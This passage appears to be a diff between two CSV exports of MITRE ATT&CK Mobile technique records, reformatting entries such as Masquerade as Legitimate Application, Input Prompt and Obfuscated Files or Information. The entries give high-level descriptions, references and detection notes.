phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='initial-access')]",2018-10-17 00:14:20.652000+00:00,Install Insecure or Malicious Configuration,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"On Android, the user can view trusted CA certificates through the device settings and look for unexpected certificates. A mobile security product could similarly examine the trusted CA certificate store for anomalies. +Adversaries may also use control of a target's Google account to use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account. (Citation: Oberheide-RemoteInstall) (Citation: Konoth) (Only applications that are available for download through the Google Play Store can be remotely installed using this technique.)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1475', 'external_id': 'T1475'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html', 'external_id': 'ECO-4'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-16.html', 'external_id': 'ECO-16'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-17.html', 'external_id': 'ECO-17'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html', 'external_id': 'APP-20'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html', 'external_id': 'APP-21'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-22.html', 'external_id': 'ECO-22'}, {'source_name': 'Petsas', 'description': 'Thanasis Petsas, Giannis Voyatzis, Elias Athanasopoulos, Michalis Polychronakis, Sotiris Ioannidis. (2014, April). Rage Against the Virtual Machine: Hindering Dynamic Analysis of Android Malware. Retrieved December 12, 2016.', 'url': 'http://dl.acm.org/citation.cfm?id=2592796'}, {'source_name': 'Oberheide-Bouncer', 'description': 'Jon Oberheide and Charlie Miller. (2012). Dissecting the Android Bouncer. Retrieved December 12, 2016.', 'url': 'https://jon.oberheide.org/files/summercon12-bouncer.pdf'}, {'source_name': 'Percoco-Bouncer', 'description': 'Nicholas J. Percoco and Sean Schulte. (2012). Adventures in BouncerLand. Retrieved December 12, 2016.', 'url': 'https://media.blackhat.com/bh-us-12/Briefings/Percoco/BH_US_12_Percoco_Adventures_in_Bouncerland_WP.pdf'}, {'source_name': 'Wang', 'description': 'Tielei Wang, Kangjie Lu, Long Lu, Simon Chung, and Wenke Lee. (2013, August). Jekyll on iOS: When Benign Apps Become Evil. Retrieved December 9, 2016.', 'url': 'https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang_tielei'}, {'source_name': 'Oberheide-RemoteInstall', 'description': 'Jon Oberheide. (2010, June 25). Remote Kill and Install on Google Android. Retrieved December 12, 2016.', 'url': 'https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/'}, {'source_name': 'Konoth', 'description': 'Radhesh Krishnan Konoth, Victor van der Veen, and Herbert Bos. (n.d.). How Anywhere Computing Just Killed Your Phone-Based Two-Factor Authentication. Retrieved December 12, 2016.', 'url': 'http://www.vvdveen.com/publications/BAndroid.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"* An EMM/MDM or mobile threat defense solution can identify the presence of unwanted or known insecure or malicious apps on devices. +* Developers can scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer's identity.",,,"['Android', 'iOS']",1.1,,,,,,['Post-Adversary Device Access'],MOB-T1078 +attack-pattern,attack-pattern--0d95940f-9583-4e0f-824c-a42c1be47fad,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-10-17T00:14:20.652Z,2021-03-10T21:06:37.536Z,Supply Chain Compromise,"As further described in [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Somewhat related, adversaries could also identify and exploit inadvertently present vulnerabilities. In many cases, it may be difficult to be certain whether exploitable functionality is due to malicious intent or simply inadvertent mistake. -On iOS, the user can view installed Configuration Profiles through the device settings and look for unexpected profiles. A Mobile Device Management (MDM) system could use the iOS MDM APIs to examine the list of installed Configuration Profiles for anomalies.",,,,,,,MOB-T1081,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:35.247000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application. +Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities. For example, security issues have previously been identified in third-party advertising libraries incorporated into apps.(Citation: NowSecure-RemoteCode)(Citation: Grace-Advertisement).","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1474', 'external_id': 'T1474'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html', 'external_id': 'APP-6'}, {'source_name': 'NowSecure-RemoteCode', 'description': 'Ryan Welton. (2015, June 15). A Pattern for Remote Code Execution using Arbitrary File Writes and MultiDex Applications. Retrieved December 22, 2016.', 'url': 'https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/'}, {'source_name': 'Grace-Advertisement', 'description': 'M. Grace et al. (2012, April 16-18). Unsafe exposure analysis of mobile in-app advertisements. Retrieved December 22, 2016.', 'url': 'https://www.csc2.ncsu.edu/faculty/xjiang4/pubs/WISEC12_ADRISK.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"* Insecure third-party libraries could be detected by application vetting techniques. For example, Google's [App Security Improvement Program](https://developer.android.com/google/play/asi) detects the use of third-party libraries with known vulnerabilities within Android apps submitted to the Google Play Store. +* Malicious software development tools could be detected by enterprises deploying integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.",False,,"['Android', 'iOS']",1.1,,,,,,['Post-Adversary Device Access'],MOB-T1077 +attack-pattern,attack-pattern--a93ccb8f-3996-42e2-b7c7-bb599d4e205f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:35.247Z,2020-04-08T15:19:56.147Z,Masquerade as Legitimate Application,"An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application. Embedding the malware in a legitimate application is done by downloading the application, disassembling it, adding the malicious code, and then re-assembling it.(Citation: Zhou) The app would appear to be the original app, but would contain additional malicious functionality. The adversary could then publish the malicious application to app stores or use another delivery method. Pretending to be a legitimate application relies heavily on lack of scrutinization by the user. Typically, a malicious app pretending to be a legitimate one will have many similar details as the legitimate one, such as name, icon, and description.(Citation: Palo Alto HenBox) -Malicious applications may also masquerade as legitimate applications when requesting access to the accessibility service in order to appear as legitimate to the user, increasing the likelihood that the access will be granted.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1444', external_id='T1444'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html', external_id='APP-31'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html', external_id='APP-14'), ExternalReference(source_name='Zhou', description='Yajin Zhou and Xuxian Jiang. (2012, May). Dissecting Android Malware: Characterization and Evolution. Retrieved December 9, 2016.', url='http://ieeexplore.ieee.org/document/6234407'), ExternalReference(source_name='Palo Alto HenBox', description='A. Hinchliffe, M. Harbison, J. Miller-Osborn, et al. (2018, March 13). HenBox: The Chickens Come Home to Roost. Retrieved September 9, 2019.', url='https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/')]",attack-pattern--a93ccb8f-3996-42e2-b7c7-bb599d4e205f,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='initial-access'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion')]",2020-04-08 15:19:56.147000+00:00,Masquerade as Legitimate Application,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Alex Hinchliffe, Palo Alto Networks']",,,,,,Users can detect malicious applications by watching for nuances that could indicate the application is not the intended one when it is being installed.,,,,,False,,MOB-T1047,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],2.1 -2017-10-25 14:48:34.407000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information. +Malicious applications may also masquerade as legitimate applications when requesting access to the accessibility service in order to appear as legitimate to the user, increasing the likelihood that the access will be granted.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'initial-access'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1444', 'external_id': 'T1444'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html', 'external_id': 'APP-31'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html', 'external_id': 'APP-14'}, {'source_name': 'Zhou', 'description': 'Yajin Zhou and Xuxian Jiang. (2012, May). Dissecting Android Malware: Characterization and Evolution. Retrieved December 9, 2016.', 'url': 'http://ieeexplore.ieee.org/document/6234407'}, {'source_name': 'Palo Alto HenBox', 'description': 'A. Hinchliffe, M. Harbison, J. Miller-Osborn, et al. (2018, March 13). HenBox: The Chickens Come Home to Roost. Retrieved September 9, 2019.', 'url': 'https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Alex Hinchliffe, Palo Alto Networks']",,,Users can detect malicious applications by watching for nuances that could indicate the application is not the intended one when it is being installed.,False,,"['Android', 'iOS']",2.1,,,,,,['Post-Adversary Device Access'],MOB-T1047 +attack-pattern,attack-pattern--3dd58c80-4c2e-458c-9503-1b2cd273c4d2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:34.407Z,2020-06-24T15:04:20.321Z,Input Prompt,"The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Adversaries may mimic this functionality to prompt users for sensitive information. Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique’s use.(Citation: Felt-PhishingOnMobileDevices) @@ -4185,72 +3812,72 @@ A malicious application could display a prompt on top of a running legitimate ap ### Fake device notifications -A malicious application could send fake device notifications to the user. Clicking on the device notification could trigger the malicious application to display an input prompt.(Citation: Group IB Gustuff Mar 2019)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1411', external_id='T1411'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html', external_id='APP-31'), ExternalReference(source_name='Felt-PhishingOnMobileDevices', description='A.P. Felt and D. Wagner. (2011, May 26). Phishing on Mobile Devices. Retrieved August 25, 2016.', url='http://w2spconf.com/2011/papers/felt-mobilephishing.pdf'), ExternalReference(source_name='eset-finance', description='Lukáš Štefanko. (2016, July 7). Fake finance apps on Google Play target users from around the world. Retrieved September 24, 2018.', url='https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/'), ExternalReference(source_name='Android-getRunningTasks', description='Android. (n.d.). ActivityManager getRunningTasks documentation. Retrieved January 19, 2017.', url='https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29'), ExternalReference(source_name='StackOverflow-getRunningAppProcesses', description='Various. (n.d.). Android 5.1.1 and above - getRunningAppProcesses() returns my application package only. Retrieved January 19, 2017.', url='http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag'), ExternalReference(source_name='ThreatFabric Cerberus', description='ThreatFabric. (2019, August). Cerberus - A new banking Trojan from the underworld. Retrieved September 18, 2019.', url='https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html'), ExternalReference(source_name='Hassell-ExploitingAndroid', description='R. Hassell. (2011, October 12-13). Exploiting Androids for Fun and Profit. Retrieved October 10, 2019.', url='https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf'), ExternalReference(source_name='Android Background', description='Android Developers. (n.d.). Restrictions on starting activities from the background. Retrieved September 18, 2019.', url='https://developer.android.com/guide/components/activities/background-starts'), ExternalReference(source_name='Cloak and Dagger', description='Fratantonio, Y., et al.. (2017). Cloak & Dagger. Retrieved September 18, 2019.', url='http://cloak-and-dagger.org/'), ExternalReference(source_name='NowSecure Android Overlay', description='Ramirez, T.. (2017, May 25). ‘SAW’-ing through the UI: Android overlay malware and the System Alert Window permission explained. Retrieved September 18, 2019.', url='https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/'), ExternalReference(source_name='Skycure-Accessibility', description='Yair Amit. (2016, March 3). “Accessibility Clickjacking” – The Next Evolution in Android Malware that Impacts More Than 500 Million Devices. Retrieved December 21, 2016.', url='https://www.skycure.com/blog/accessibility-clickjacking/'), ExternalReference(source_name='XDA Bubbles', description='Rahman, M.. (2019, May 8). Bubbles in Android Q will fully replace the overlay API in a future Android version. Retrieved September 18, 2019.', url='https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/'), ExternalReference(source_name='Group IB Gustuff Mar 2019', description='Group-IB. (2019, March 28). Group-IB uncovers Android Trojan named «Gustuff» capable of targeting more than 100 global banking apps, cryptocurrency and marketplace applications. Retrieved September 3, 2019.', url='https://www.group-ib.com/blog/gustuff')]",attack-pattern--3dd58c80-4c2e-458c-9503-1b2cd273c4d2,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='credential-access')]",2020-06-24 15:04:20.321000+00:00,Input Prompt,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,The user can view and manage which applications hold the SYSTEM_ALERT_WINDOW permission to create overlay windows on top of other apps through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions).,,,,,False,,MOB-T1014,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],2.1 -2017-10-25 14:48:33.926000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the ps command, or by examining the /proc directory. Starting in Android version 7, use of the Linux kernel's hidepid feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1424', external_id='T1424'), ExternalReference(source_name='Android-SELinuxChanges', description='Various. (2016, March 31). Overly restrictive SELinux filesystem permissions in Android N. Retrieved December 21, 2016.', url='https://code.google.com/p/android/issues/detail?id=205565')]",attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='discovery')]",2018-10-17 00:14:20.652000+00:00,Process Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1027,,['Android'],,,['Post-Adversary Device Access'],1.0 -2017-10-25 14:48:33.574000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1421', external_id='T1421'), ExternalReference(source_name='ConnMonitor', description='Anti Spy Mobile. (2016, March 14). Network Connections. Retrieved December 21, 2016.', url='https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en')]",attack-pattern--dd818ea5-adf5-41c7-93b5-f3b839a219fb,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='discovery')]",2019-02-01 19:34:17.460000+00:00,System Network Connections Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1024,,['Android'],,,['Post-Adversary Device Access'],2.0 -2017-10-25 14:48:33.158000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. +A malicious application could send fake device notifications to the user. Clicking on the device notification could trigger the malicious application to display an input prompt.(Citation: Group IB Gustuff Mar 2019)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1411', 'external_id': 'T1411'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html', 'external_id': 'APP-31'}, {'source_name': 'Felt-PhishingOnMobileDevices', 'description': 'A.P. Felt and D. Wagner. (2011, May 26). Phishing on Mobile Devices. Retrieved August 25, 2016.', 'url': 'http://w2spconf.com/2011/papers/felt-mobilephishing.pdf'}, {'source_name': 'eset-finance', 'description': 'Lukáš Štefanko. (2016, July 7). Fake finance apps on Google Play target users from around the world. Retrieved September 24, 2018.', 'url': 'https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/'}, {'source_name': 'Android-getRunningTasks', 'description': 'Android. (n.d.). ActivityManager getRunningTasks documentation. Retrieved January 19, 2017.', 'url': 'https://developer.android.com/reference/android/app/ActivityManager.html#getRunningTasks%28int%29'}, {'source_name': 'StackOverflow-getRunningAppProcesses', 'description': 'Various. (n.d.). Android 5.1.1 and above - getRunningAppProcesses() returns my application package only. Retrieved January 19, 2017.', 'url': 'http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag'}, {'source_name': 'ThreatFabric Cerberus', 'description': 'ThreatFabric. (2019, August). Cerberus - A new banking Trojan from the underworld. Retrieved September 18, 2019.', 'url': 'https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html'}, {'source_name': 'Hassell-ExploitingAndroid', 'description': 'R. Hassell. (2011, October 12-13). Exploiting Androids for Fun and Profit. Retrieved October 10, 2019.', 'url': 'https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf'}, {'source_name': 'Android Background', 'description': 'Android Developers. (n.d.). Restrictions on starting activities from the background. Retrieved September 18, 2019.', 'url': 'https://developer.android.com/guide/components/activities/background-starts'}, {'source_name': 'Cloak and Dagger', 'description': 'Fratantonio, Y., et al.. (2017). Cloak & Dagger. Retrieved September 18, 2019.', 'url': 'http://cloak-and-dagger.org/'}, {'source_name': 'NowSecure Android Overlay', 'description': 'Ramirez, T.. (2017, May 25). ‘SAW’-ing through the UI: Android overlay malware and the System Alert Window permission explained. Retrieved September 18, 2019.', 'url': 'https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/'}, {'source_name': 'Skycure-Accessibility', 'description': 'Yair Amit. (2016, March 3). “Accessibility Clickjacking” – The Next Evolution in Android Malware that Impacts More Than 500 Million Devices. Retrieved December 21, 2016.', 'url': 'https://www.skycure.com/blog/accessibility-clickjacking/'}, {'source_name': 'XDA Bubbles', 'description': 'Rahman, M.. (2019, May 8). Bubbles in Android Q will fully replace the overlay API in a future Android version. Retrieved September 18, 2019.', 'url': 'https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/'}, {'source_name': 'Group IB Gustuff Mar 2019', 'description': 'Group-IB. (2019, March 28). Group-IB uncovers Android Trojan named «Gustuff» capable of targeting more than 100 global banking apps, cryptocurrency and marketplace applications. Retrieved September 3, 2019.', 'url': 'https://www.group-ib.com/blog/gustuff'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,The user can view and manage which applications hold the SYSTEM_ALERT_WINDOW permission to create overlay windows on top of other apps through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions).,False,,"['Android', 'iOS']",2.1,,,,,,['Post-Adversary Device Access'],MOB-T1014 +attack-pattern,attack-pattern--1b51f5bc-b97a-498a-8dbd-bc6b1901bf19,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:33.926Z,2018-10-17T00:14:20.652Z,Process Discovery,"On Android versions prior to 5, applications can observe information about other processes that are running through methods in the ActivityManager class. On Android versions prior to 7, applications can obtain this information by executing the ps command, or by examining the /proc directory. Starting in Android version 7, use of the Linux kernel's hidepid feature prevents applications (without escalated privileges) from accessing this information (Citation: Android-SELinuxChanges).","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1424', 'external_id': 'T1424'}, {'source_name': 'Android-SELinuxChanges', 'description': 'Various. (2016, March 31). Overly restrictive SELinux filesystem permissions in Android N. Retrieved December 21, 2016.', 'url': 'https://code.google.com/p/android/issues/detail?id=205565'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],1.0,,,,,,['Post-Adversary Device Access'],MOB-T1027 +attack-pattern,attack-pattern--dd818ea5-adf5-41c7-93b5-f3b839a219fb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:33.574Z,2019-02-01T19:34:17.460Z,System Network Connections Discovery,"On Android, applications can use standard APIs to gather a list of network connections to and from the device. For example, the Network Connections app available in the Google Play Store (Citation: ConnMonitor) advertises this functionality.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1421', 'external_id': 'T1421'}, {'source_name': 'ConnMonitor', 'description': 'Anti Spy Mobile. (2016, March 14). Network Connections. Retrieved December 21, 2016.', 'url': 'https://play.google.com/store/apps/details?id=com.antispycell.connmonitor&hl=en'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],2.0,,,,,,['Post-Adversary Device Access'],MOB-T1024 +attack-pattern,attack-pattern--6a3f6490-9c44-40de-b059-e5940f246673,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:33.158Z,2019-02-03T14:52:45.266Z,Standard Application Layer Protocol,"Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. -In the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. Google reportedly responds to reports of abuse by blocking access to GCM.(Citation: Kaspersky-MobileMalware)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1437', external_id='T1437'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html', external_id='APP-29'), ExternalReference(source_name='Kaspersky-MobileMalware', description='Roman Unuchek and Victor Chebyshev. (2014, February 24). Mobile Malware Evolution: 2013. Retrieved December 22, 2016.', url='https://securelist.com/mobile-malware-evolution-2013/58335/')]",attack-pattern--6a3f6490-9c44-40de-b059-e5940f246673,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='command-and-control'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='exfiltration')]",2019-02-03 14:52:45.266000+00:00,Standard Application Layer Protocol,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,,,MOB-T1040,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.1 -2017-10-25 14:48:32.740000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"On Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) The Android `TelephonyManager` class can be used to gather related information such as the IMSI, IMEI, and phone number.(Citation: TelephonyManager) +In the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. Google reportedly responds to reports of abuse by blocking access to GCM.(Citation: Kaspersky-MobileMalware)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'command-and-control'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1437', 'external_id': 'T1437'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html', 'external_id': 'APP-29'}, {'source_name': 'Kaspersky-MobileMalware', 'description': 'Roman Unuchek and Victor Chebyshev. (2014, February 24). Mobile Malware Evolution: 2013. Retrieved December 22, 2016.', 'url': 'https://securelist.com/mobile-malware-evolution-2013/58335/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",1.1,,,,,,['Post-Adversary Device Access'],MOB-T1040 +attack-pattern,attack-pattern--d4536441-1bcc-49fa-80ae-a596ed3f7ffd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:32.740Z,2020-06-02T14:35:01.479Z,System Network Configuration Discovery,"On Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) The Android `TelephonyManager` class can be used to gather related information such as the IMSI, IMEI, and phone number.(Citation: TelephonyManager) -On iOS, gathering network configuration information is not possible without root access.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1422', external_id='T1422'), ExternalReference(source_name='NetworkInterface', description='Android. (n.d.). NetworkInterface. Retrieved December 21, 2016.', url='https://developer.android.com/reference/java/net/NetworkInterface.html'), ExternalReference(source_name='TelephonyManager', description='Android. (n.d.). TelephonyManager. Retrieved December 21, 2016.', url='https://developer.android.com/reference/android/telephony/TelephonyManager.html')]",attack-pattern--d4536441-1bcc-49fa-80ae-a596ed3f7ffd,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='discovery')]",2020-06-02 14:35:01.479000+00:00,System Network Configuration Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,,,,,,False,,MOB-T1025,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],2.1 -2017-10-25 14:48:32.328000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An app could contain malicious code in obfuscated or encrypted form, then deobfuscate or decrypt the code at runtime to evade many app vetting techniques.(Citation: Rastogi) (Citation: Zhou) (Citation: TrendMicro-Obad) (Citation: Xiao-iOS)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1406', external_id='T1406'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-21.html', external_id='APP-21'), ExternalReference(source_name='Rastogi', description='Vaibhav Rastogi, Yan Chen, and Xuxian Jiang. (2013, May). DroidChameleon: Evaluating Android Anti-malware against Transformation Attacks. Retrieved December 9, 2016.', url='http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf'), ExternalReference(source_name='Zhou', description='Yajin Zhou and Xuxian Jiang. (2012, May). Dissecting Android Malware: Characterization and Evolution. Retrieved December 9, 2016.', url='http://ieeexplore.ieee.org/document/6234407'), ExternalReference(source_name='TrendMicro-Obad', description='Veo Zhang. (2013, June 13). Cybercriminals Improve Android Malware Stealth Routines with OBAD. Retrieved December 9, 2016.', url='http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/'), ExternalReference(source_name='Xiao-iOS', description='Claud Xiao. (2016, July). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved December 9, 2016.', url='http://www.slideshare.net/Shakacon/fruit-vs-zombies-defeat-nonjailbroken-ios-malware-by-claud-xiao')]",attack-pattern--d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion')]",2019-09-23 13:26:01.263000+00:00,Obfuscated Files or Information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Malicious obfuscation of files or information can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversary behavior.",,,,,,,MOB-T1009,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],2.0 -2017-10-25 